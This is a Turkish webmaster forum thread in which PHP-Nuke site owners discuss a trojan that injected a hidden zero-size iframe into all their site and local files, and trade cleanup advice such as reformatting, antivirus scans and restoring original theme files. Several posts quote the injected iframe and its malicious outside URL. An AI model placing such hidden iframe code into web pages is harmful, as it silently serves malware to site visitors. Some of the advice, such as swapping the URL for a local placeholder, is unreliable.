Bu Trojense Nasıl Kurtulurum

keysmart · Mesaj: 50+ Kayıt: Feb 07, 2005 Mesajlar: 66 Konum: ÇORLU

arkadaşlar bu link benim siteme nasıl olduysa her dosyasına bulaşmış ve bilgisayarımda ne kadar php sosyası varsa hepsine bulşaşmış bu nasıl olmuş bir trojenmdir. tronje nasıl sileriz yada korunuruz...

link bu basmayın kesinlikle:

[url]illegal link içeriyor[/url]

Bu Site Google Adsense ile Gelir Elde Ediyor · Tarih: 2024-05-03, 08:24:29 Mesaj konusu: Forum Arası Reklamlar

badred · Tarih: 2006-11-10, 01:49:00 Mesaj konusu:

Internet tarayıcı olarak Firefox kullanın bence. Her tarafı güvenlik açığı dolu internet explorer'in. Sebebi nedir bilmiyorum ama bi script var. O yapıyor olabilir. Çok ilginç.

keysmart · Mesaj: 50+ Kayıt: Feb 07, 2005 Mesajlar: 66 Konum: ÇORLU

bide pc imde bulunan diğer sitelerimin çalışır sorunsuz yedeklerinede geçmiş bu link her dosyasına hemde

badred · Mesaj: 100+ Kayıt: Nov 01, 2004 Mesajlar: 173 Konum: Istanbul

yesillili · Tarih: 2006-11-10, 06:14:56 Mesaj konusu:

ya bu kodun senin broeserında olmadığından emin misin?

erdge · Mesaj: 1+ Kayıt: Dec 13, 2005 Mesajlar: 45

Merhaba Arkadaslar ayni sorun bende de var! Herlade indirdigimiz bir dosyadan oldu ama nasil cözeriz bu sorunu???

simdiden herkese tsk

amanav · Tarih: 2006-11-10, 10:37:31 Mesaj konusu:

php sürümünü yükseltmeli sonrasında virüs taraması yapmalısınız bu konu ile ilgili uyarı daha evvel yapılmıştı...

php sürümünüz en az 4.3.10 olmalıdır...

BAFRALI · Tarih: 2006-11-10, 12:50:03 Mesaj konusu:

Bilgisayarınızı sağlam bi virüs taramasından geçiriniz sonra da anti trojan programını yükleyiniz ve tüm php dosyalarınızı taratınız düzelecektir !

Bu Site Google Adsense ile Gelir Elde Ediyor · Tarih: 2024-05-03, 08:24:29 Mesaj konusu: Forum Arası Reklamlar

erdge · Mesaj: 1+ Kayıt: Dec 13, 2005 Mesajlar: 45

Merhaba Arkadaslar

** keysmart sorunu cözebildin mi?

bende de ayni sorun var! Bilgisayari bastan yeni yükledim ama sorun halen devam ediyor! Bütün dosyalarin icinde var bu code !

simdiden tsk

Sercan · Tarih: 2006-11-12, 22:10:05 Mesaj konusu:

arkadaşlar virüsten kurtulma yolu vardı ama 1-1,5 saatinizi alır ben şuan kullandıım windowsu virüsten kurtarmıştım sanırım supermp3.org dan bulmuştum.
bence format atın pc açısından.
site açısından hiç bir fikir veremiyorumve açıkçası çok üzüldüm .

y_z_r · Mesaj: 1+ Kayıt: Dec 09, 2005 Mesajlar: 7

Bu trajonun kaynaklandığı neden şu kullandığımız php nuke temalarına bazı kendini çok akıllı sanan tema yapımcıları bu <i f r a m e src="http://www.ac66.cn/88/index.htm" width="0" height="0" yazıyor ve o kişide php nukede bu temayı kullanırsa kendi bilgisayarına ve siteye girenlerin bilgisayarına bulaşıyor

Bundan kurtulmanın en güzel yolu bilgisayara format atmak
ve aynı zamanda kullandığın temanın içindeki dosyalarda bu kodlar yazılı o kodları kaldırmak Şimdiden kolay gelsin

Sercan · Tarih: 2006-11-12, 22:26:29 Mesaj konusu:

o da olmabilir y_z_r temaları nukemods tan indirmek en iyisi ve en güvenliklisi...

pusulu · Tarih: 2006-11-28, 16:47:18 Mesaj konusu:

arkadaslar bendede bu sorun var nasıl cözerım acaba sıtem 2 saate acılıyo

kiymet · Mesaj: 1+ Kayıt: Nov 22, 2006 Mesajlar: 3

Arkadaşlar Biz Bir Site Tasarım Sirketiyiz bizim Makınamızada bulaştı ve 3000 bin e yakın projemız cok perısan durumda butun kodlarımızın sonunda bu ıframe eklı sılsenızde gerı gelıyo hic bir antivirüs bunu bulamaz cunkı virüs olarak tanımlanmıyor henuz makınanızda bırsey bulamzsınız Yapmanız gereken Tek sey
Format Atmak Ben Attım ama gene kurtulamadım tam bır format atmam gerek yanı yedek almıyıcaksınızz.... En son cagre soyle yapıcagım projelerımızı Dvd Ye yazıcagım Ve butun makınaya format atıcagım
exe uzantılı ve dll uzantılı hıc bırsey bırakmıyıcaksınız makınada..... kodları temızlemeden de sakın locelhost ta calsıtırmayın..... başka bir cüzum buldum dıyen varsa banada soylesın belkı benden daha ıyı bır cozum vardır..

dirtyzenX · Mesaj: 50+ Kayıt: Feb 13, 2005 Mesajlar: 53 Konum: ist

aynı sorun bendede var :) ne hikmetse benimki .jp uzantılı bir site. bir css editlerken bulaştı. nasıl oldu nerden geldi anlayamadım bütün scriptlere html asp php hiç fark etmeden eklemiş kendini ve dreamwawer i frontpageyi açtığımda otomatik eklio en alta kendini. format atıcam birde kod bulup değiştirme programi ile o kodları silip <!--bişi bişi--!> yapıcam Very Happy

başka çare yok.

gokturk · Mesaj: 1+ Kayıt: Dec 04, 2006 Mesajlar: 39

Arkadaşlar bu vürüslerden kurulmanın basit bir yolu şudur

http://www.ac66.cn/88/index.htm yazan yerleri aşağıdakiyle değiştirin

http://www.sitenizinadı.com/test/index.htm ile değiştirin ozaman kurtulmuş olacaksınız bu vürüsler
temanızın içindeki dosyalar olan aşağıdaki yazdıklarımın içlerinde olur kodlar sizde bu kodları http://www.sitenizinadı.com/test/index.htm yapacaksınız

blocks.html
center_right.html
footer.html
header.html
left_center.html
story_home.html
story_page.html
tables.php
theme.php

Şimdiden vürüslere yakalanlara geçmiş olsun Ve kolay gelsin

deeptr · Mesaj: 1+ Kayıt: Dec 18, 2006 Mesajlar: 1

evet bend edün yedim o virüsü ama norton2005 tespit etti eskisi hale getirdi ama tabi 1 defa bile çalışması bütün htm+asp+php+jp vs.. dosyalarının sonuna o freme kodunu eklemesini angellemedi dosya 88.exe 22.exe gibi bir dosyadır. benim kafamı karıştıran virüs c: + d: de girmiş yani bütün sürücülere girmiş.

ama zip + rar dosyalarına bulaşmıyor. bend ebaya bir arşiv kaybettim. ama baya bir kaybım oldu sayılır.

kurtuluş ise eger kullandıgınız programlara güveniyor ve temizlediğinize eminseniz kalsın ama yoksa format atın derim

TG · Mesaj: 300+ Kayıt: Jan 02, 2006 Mesajlar: 378 Konum: Ankara/Konutkent

yilmaz_05 · Mesaj: 1+ Kayıt: Oct 22, 2006 Mesajlar: 31

arkadaslar ben bu problemin cozumunu buldum tum ftpmi pcme indirdim ve hepsini bullasan virusun ismini gore temin ici windows ile aratttim bundan once tabiki kaspersky ile pcmi iyice bir tarattim ve simdi tum bu i f r a m e leri silmeyi basirdim ve yeniden upload ettim sitenin heryerindekini silebildim ama tek bir sey kaldi oda forumdaki foruma girdigim an yine virus vardiye kaspersky otuyor trojan ismini temin ici aritiyorum birsey bulamiyorum modules/forums dosyasini tamamen eski orginal dosyalarini yukledim yinede virus veriyor sql i inceledim virus linkini aratirdim ordanda birsey cikmadi ama phbb forums dan yedek aldigim zaman yedektte trojan linkini gorebiliyorum ama dosyalarada ve sqlde aradigim zaman goremiyorum bu linki nerde aramayalim :S bilen varmi????

polibo06 · Tarih: 2007-06-01, 23:27:07 Mesaj konusu:

arkadaş bu konu daha öncede yazılmıştı....çözümü bir daha yazayım....

bilgisayara format atın.....

sonra siteniz için...

pc format attıktan sonra...yoksa yenilerede virüs bulaşır...format öncelik.....

siteden yeniden download ediniz...yeni ve orjinal dosyaları sitenize upload ediniz...

değiştir yapmayın...virüslü php dosyaları ksıaca hepsini silin...orjinali upload edin...

config.php ayarınızı yapın.....eğer modül çok yüklediyseniz....

tek tek php dosyalarınan virüs kodunu silin

yilmaz_05 · Mesaj: 1+ Kayıt: Oct 22, 2006 Mesajlar: 31

kardes yaptim ama yinede forumda virus var diyor kaspersky diger oburkulerin hepsini orginal haline getirdim ama hala forumda o link var modules/forums dosyasini tamamen degistirdim ama yinede var phbb forums yedek alinca yedegin en basinda o i f r a m e kodu yaziyor ama dosyalarin icinde yok sqldede yok :S

yilmaz_05 · Mesaj: 1+ Kayıt: Oct 22, 2006 Mesajlar: 31

ya nerde peki ? Confused

polibo06 · Tarih: 2007-06-01, 23:56:09 Mesaj konusu:

phpbb_forums sorgusunda mı var?

kardeş cpanelde virüs taraması var mı? varsa tara yoksa server ile konuş....serverın makineside virüs kapmış olabilir

yilmaz_05 · Mesaj: 1+ Kayıt: Oct 22, 2006 Mesajlar: 31

http://www.siteninadi.com/html/modules.php?name=Forums&file=index

burdan yedek alinca yedegin basinda o i f r a m e kodu oluyor :S demek istedigim yer bu sitenin gerisi normal virus yok hepsini sildim yarin bir hostcuyla gorusuyum ben ama zanetmem yoksa tum sitede virus vermessi gerekirdi bu sadece forumda

polibo06 · Tarih: 2007-06-02, 00:05:36 Mesaj konusu:

hmmm sadece forum da var...o günlerde bazı arkadaşlarda durmadan kendini çoğaltan bir virüs var idi...eğer sadece orada ise kodu sildiğinde tekrar geliyor mu?

pc ye format attın mı?